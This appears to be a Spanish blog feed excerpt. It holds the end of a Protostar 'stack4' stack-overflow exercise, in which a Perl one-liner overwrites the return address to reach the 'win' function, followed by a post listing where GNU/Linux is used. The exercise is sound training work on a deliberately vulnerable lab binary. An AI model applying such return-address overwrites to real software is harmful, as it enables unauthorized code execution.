<p>Se produce el error en el byte 54 que es la letra T. 20 x 4 = 80.</p>
<div class="highlight"><pre><span></span>$ objdump -d ./stack4 <span class="p">|</span> grep <span class="s2">"win"</span>
0804842d <win>:
$ perl -e <span class="s1">'print "a"x76 . "\x2d\x84\x04\x08"'</span> <span class="p">|</span> ./stack4 <span class="c1"># (76 + 4)</span>
code flow successfully changed
Segmentation fault <span class="o">(</span>core dumped<span class="o">)</span>
</pre></div>
<p>Continuará...</p>
<hr>¿En dónde se usa GNU/Linux?2017-09-22T00:00:00+03:002017-09-22T00:00:00+03:00efemongetag:None,2017-09-22:/en-donde-se-usa-gnu-lnux.html<h1>¿En dónde se usa GNU/Linux?</h1>
<ul>
<li>Servidores de Internet.</li>
<li>Google</li>
<li>Facebook</li>
<li>Wikipedia</li>
<li>Twitter</li>
<li>Amazon</li>
<li>Github</li>
<li>Android</li>
<li>Consolas de videojuegos</li>
<li>Super computadoras</li>
<li>Computadoras personales</li>
<li>Tablets</li>
<li>Routers</li>
<li>Televisores</li>
<li>Navegadores GPS</li>
<li>Automóviles autónomos</li>
<li>Agencias espaciales</li>
<li>Estación Espacial Internacional</li>
<li>Los colisionadores de partículas</li>
<li>Bolsas de valores</li>
<li>Ejércitos</li>
<li>Chromebooks</li>
<li>Gobiernos</li>
<li>Empresas privadas y públicas</li>
<li>Sistemas …</li></ul><h1>¿En dónde se usa GNU/Linux?</h1>
<ul>
<li>Servidores de Internet.</li>
<li>Google</li>
<li>Facebook</li>
<li>Wikipedia</li>
<li>Twitter</li>
<li>Amazon</li>
<li>Github</li>
<li>Android</li>
<li>Consolas de videojuegos</li>
<li>Super computadoras</li>
<li>Computadoras personales</li>
<li>Tablets</li>
<li>Routers</li>
<li>Televisores</li>
<li>Navegadores GPS</li>
<li>Automóviles autónomos</li>
<li>Agencias espaciales</li>
<li>Estación Espacial Internacional</li>
<li>Los colisionadores de partículas</li>
<li>Bolsas de valores</li>
<li>Ejércitos</li>
<li>Chromebooks</li>
<li>Gobiernos</li>
<li>Empresas privadas y públicas</li>
<li>Sistemas de control de tráfico</li>
<li>Escuelas y colegios</li>
<li>En la casa de Leo </li>
</ul>
<p>Ah! pero usted @#~\½{¬#~ª·$"·%&%·&/!$·º</p>